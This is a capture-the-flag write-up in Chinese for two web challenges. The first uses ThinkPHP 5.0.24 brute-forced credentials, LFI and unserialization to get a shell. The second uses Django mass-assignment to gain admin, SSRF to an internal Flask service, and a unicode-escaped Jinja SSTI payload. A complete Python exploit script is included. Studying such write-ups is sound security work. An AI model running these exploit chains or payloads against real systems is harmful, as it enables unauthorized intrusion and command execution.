UnsafeDefenseSystem 
PHP/5.6.26, tp 5.0.24
我要对出题人使出极限一换一
 
访问/protect.py能看到一个超长的憨批监控脚本,其实也不用看
通过爆破得到用户名密码:
1 2 Admin1964752 DsaPPPP!@#amspe1221 
后台存在lfi。经过一番读文件,看到index controller中存在反序列化点
结合上文所知道的thinkphp版本可以搜到:
https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/ https://xz.aliyun.com/t/7594 
出题人可能是想让条件竞争过protect.py ,但是实际上我们可以往/tmp目录底下写文件,并且在nationalsb那里包含这一文件,最终拿到shell
jsonhub 
白盒审计。对外开放的是web1,一个Django服务,内网还有个flask。
首先整理思路:首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求
很明显,注册的时候参数完全可控,也就是说可以伪造管理员身份。将两个字段,is_superuser与is_staff都设置为True,就能访问 http://39.104.19.182/admin/app/token/ 拿到token了。
在请求后方flask服务前,django服务对REMOTE_URL进行了验证。由于题目部署在了docker里,访问公网ip时REMOTE_URL实际上是172.多少多少(即使不在docker里也是公网ip)。
https://xz.aliyun.com/t/3302 
再看第二个服务:
1 2 3 4 5 6 7 8 @app.before_request def  before_request ():    data = str (request.data)     log()     if  "{{"  in  data or  "}}"  in  data or  "{%"  in  data or  "%}"  in  data:         abort(401 ) ...     json.loads(...) 
python中的json模块在解析json时会自动将转义过的字符恢复,所以可以用"\u007b"来绕过before_request
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from  requests import  Request, session, get, postfrom  bs4 import  BeautifulSoupfrom  base64 import  b64encodeimport  jsonHOST = 'http://39.104.19.182'  ses = session() USER = 'frkasdf'  PASS = 'qwer'  post(HOST + '/reg/' , json={     'username' : USER,     'password' : PASS,     'is_staff' : True ,     'is_superuser' : True  }).json()['code' ] ses.post(HOST + '/login/' , json={     'username' : USER,     'password' : PASS, }) page = BeautifulSoup(get(     HOST + '/admin/app/token/' , cookies=ses.cookies ).text, 'lxml' ) token = page.find('td' , attrs={'class' : 'field-Token' }).text ssti = '{{config.__class__.__init__.__globals__["os"].popen("/readflag").read() + ""}}'  payload = ('{'  + json.dumps({     'num1' : '' , 'num2' : '' , 'symbols' : ssti, })[1 :-1 ].replace('{' , '\\u007b' ).replace('}' , '\\u007d' ) + '}' ) payload = b64encode(payload.encode()).decode() req = Request('GET' , HOST + '//127.0.0.1:8000/flask_rpc' , params={     'methods' : 'POST' ,     'url' : 'http://localhost:5000/caculator' ,          'data' : payload }).prepare() print (json.loads(ses.post(HOST + '/home/' , json={    'url' : req.url,     'token' : token }).json()['message' ])['message' ])